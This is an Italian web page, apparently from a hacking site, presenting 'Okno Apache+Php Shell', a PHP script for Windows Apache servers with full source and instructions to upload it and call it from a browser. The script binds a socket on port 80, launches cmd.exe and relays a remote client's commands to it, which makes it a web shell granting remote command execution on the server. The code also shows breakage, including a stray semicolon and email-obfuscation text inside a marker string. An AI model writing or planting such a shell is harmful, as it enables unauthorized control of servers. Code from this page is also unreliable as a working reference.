spacer.png, 0 kB

Okno Apache+Php Shell PDF Stampa E-mail
Valutazione attuale: / 6
ScarsoOttimo 
Sabato 22 Agosto 2009 07:55

Questa è una comoda utility per eseguire comandi tramite browser su un server web Apache con Php in ambiente Windows.

L'uilizzo è semplice, basta infatti uppare il file .php prensente nella sezione download sul sito e richimare da browser : http://nomesito/okno.apache.shell.php

<?php
function print_flush($text){
if (ob_get_level() == 0) ob_start();
echo $text;
ob_flush();
flush();
}
function read_request($clientsock){
$read = array($clientsock);
$write = NULL;
$except = NULL;
$buf = "";
while(socket_select($read, $write, $except, 1)){
$buf .= socket_read($clientsock, 2048);
}
return $buf;
}
function read_command($mypipe){
$buf = "";
while(!strstr($buf, "\n"))
$buf .= read_request($mypipe);
return $buf;
}
function read_until_tag($mypipe){
$buf = '';
while(!strstr($buf, 'echo -----okno Questo indirizzo e-mail è protetto dallo spam bot. Abilita Javascript per vederlo. ----')){
$buf.= fread($mypipe, 1);
}
fread($mypipe, 23);
return substr($buf, 0, -24);
}
set_time_limit(90);
ob_implicit_flush();
$address = $_SERVER ['SERVER_ADDR'];
$port = 80;
print_flush('Avvio shell<BR>');
print_flush('Mi attacco alla shell '. $address . ':80');
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo "socket_create() fallito: motivo: " . socket_strerror(socket_last_error()) . "\n";
exit();
}
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
echo "socket_set_option() fallito: motivo: " . socket_strerror(socket_last_error()) . "\n";
exit();
}
if (socket_bind($sock, $address, $port) === false) {
echo "socket_bind() fallito: motivo: " . socket_strerror(socket_last_error($sock)) . "\n";
exit();
}
//else
// echo 'Socket ' . $address . ':' . $port . " APERTO <br>";
if (socket_listen($sock, 1) === false) {
echo "socket_listen() fallito: motivo: " . socket_strerror(socket_last_error($sock)) . "\n";
exit();
}
else{
//print_flush( "In cerca di nuovi client..<br><br>");
if (($clientsock = socket_accept($sock)) === false) ;
echo "socket_accept() fallito: motivo: " . socket_strerror(socket_last_error($sock)) . "\n";
exit();
}
else {
socket_getpeername($clientsock, $clientIP);
print_flush("<br><br>okno_apache_shell - Richiesta da " .$clientIP . "<br>");
socket_close($sock); // Chiusura della shell
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "c:\\Windows\\temp\\error-output.txt", "a")
);
$process = proc_open("cmd.exe", $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0],"echo -----SECFORCE------\n");
$shell = read_until_tag($pipes[1]);
$shell = "\nApache + PHP socket shell by okno, scrivi 'exit' quando hai finito.\n\n" . $shell;
print_flush($shell);
socket_write($clientsock, $shell, strlen($shell));
while(1){
$command = read_command($clientsock); //Leggi comando
#print_flush($command); # Stampa comando sul browser
if ($command=="exit\n") break;
fwrite($pipes[0],$command."echo -----okno_apache_shell------\n"); //scrivi il comando nel cmd
$cmdresult = read_until_tag($pipes[1]); //leggi risulatato
socket_write($clientsock, $cmdresult, strlen($cmdresult)); //Stampa il risultato
}
print_flush("<br><br>Shell terminata<br><br>By okno");
}
else
print_flush("Errore in fase di creazione processo");
fclose($pipes[0]);
fclose($pipes[1]);
$return_value = proc_close($process);
}
socket_close($clientsock);
}
exit();
?>

 

Comments (0)

 
Ricerca in NetMind
Anonymous Okno
Menu Principale
Menu Papers
Menu Download
Menu Links
Stats
Tot. visite contenuti : 342681
 9 visitatori online